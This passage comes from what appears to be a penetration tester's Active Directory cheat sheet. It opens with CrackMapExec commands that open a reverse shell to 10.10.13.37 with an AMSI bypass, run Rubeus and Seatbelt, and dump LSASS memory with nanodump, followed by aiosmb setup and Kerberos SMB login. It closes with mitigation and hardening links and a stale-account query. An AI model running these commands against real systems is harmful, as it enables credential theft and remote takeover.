$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -x 'Invoke-ConPtyShell.ps1 Invoke-ConPtyShell 10.10.13.37 1337' --amsi-bypass amsi.ps1 --no-output
```

Example of executing a .NET assembly ([Rubeus](https://github.com/GhostPack/Rubeus)):

```
$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -x 'Seatbelt.exe -group=user' --dotnetassembly --dotnetassembly-entrypoint 'Rubeus,Program,MainString' --dotnetassembly-entrypoint-argtype string --amsi-bypass amsi.ps1 --codec cp866
```

Example of converting an unmanaged binary ([NanoDump](https://github.com/helpsystems/nanodump)) to a shellcode with [donut](https://github.com/S4ntiagoP/donut/tree/syscalls), then compiling a .NET self-injector from a template with the shellcode inside and executing it (see [SharpBin2SelfInject](https://gist.github.com/snovvcrash/30bd25b1a5a18d8bb7ce3bb8dc2bae37)):

```
$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -x 'nanodump.exe -w C:\Windows\Temp\lsass.bin' --dotnetassembly --donut
```

## aiosmb

* <https://github.com/skelsec/aiosmb>

Install:

```
$ git clone https://github.com/skelsec/aiosmb ~/tools/aiosmb && cd ~/tools/aiosmb
$ sed -i 's/ = RPC_C_AUTHN_LEVEL_CONNECT/ = RPC_C_AUTHN_LEVEL_PKT_PRIVACY/g' aiosmb/dcerpc/v5/interfaces/tschmgr.py
$ pip3 install . --break-system-packages
$ sed -i '1i #!/usr/bin/env python3\n' aiosmb/examples/smbclient.py
$ chmod +x aiosmb/aiosmb/examples/smbclient.py
$ sudo ln -sv `realpath aiosmb/examples/smbclient.py` "/usr/local/bin/aiosmbclient.py"
```

Usage:

```
$ aiosmbclient.py -s "smb3+kerberos-ccachehex://megacorp.local\snovvcrash:$CCACHEHEX@PC01.megacorp.local/?dc=192.168.1.11" 'login' 'use C$' 'ls'
```

## Slinky Cat & OffensiveSysAdmin

* <https://labs.lares.com/introducing-slinkycat/>
* <https://github.com/LaresLLC/SlinkyCat>
* <https://github.com/LaresLLC/OffensiveSysAdmin>

## Mitigations

Common vulnerabilities & misconfigurations and recommendations:

* <https://www.infosecmatter.com/top-16-active-directory-vulnerabilities/#2-admincount-attribute-set-on-common-users>
* <https://threadreaderapp.com/thread/1369309701050142720.html>
* <https://s3cur3th1ssh1t.github.io/The-most-common-on-premise-vulnerabilities-and-misconfigurations/>
* <https://github.com/evilmog/ntlmv1-multi/blob/master/resources/checklist.txt>

SMB lateral-movement hardening:

* <https://posts.specterops.io/offensive-lateral-movement-1744ae62b14f>
* <https://medium.com/palantir/restricting-smb-based-lateral-movement-in-a-windows-environment-ed033b888721>

{% file src="/files/8sndTrzOyKkS7IU9p0p3" %}

Antispam protection for Exchange:

{% file src="/files/joyedH082nmAC2ErLmDr" %}

Detect stale, unused or fake computer accounts based on password age (replace `-90` with your domain's maximum computer account password age):

```
$date = [DateTime]::Today.AddDays(-90); Get-ADComputer -Filter '(Enabled -eq $true) -and (PasswordLastSet -le $date)' | select Name
```

Administrative Tier Model & Microsoft RaMP (Zero Trust **Ra**pid **M**odernization **P**lan):

* <https://security-tzu.com/2020/03/23/mitigate-credential-theft-with-administrative-tier-model/>
* <https://www.secframe.com/ramp/>
* <https://posts.specterops.io/establish-security-boundaries-in-your-on-prem-ad-and-azure-environment-dcb44498cfc2>

Post compromise AD actions (checklist):

* <https://www.hub.trimarcsecurity.com/post/securing-active-directory-performing-an-active-directory-security-review>
* <https://www.pwndefend.com/2021/09/15/post-compromise-active-directory-checklist/>

Hardening automatization tool:

* <https://github.com/0x6d69636b/windows_hardening>
* <https://github.com/LuemmelSec/Client-Checker>
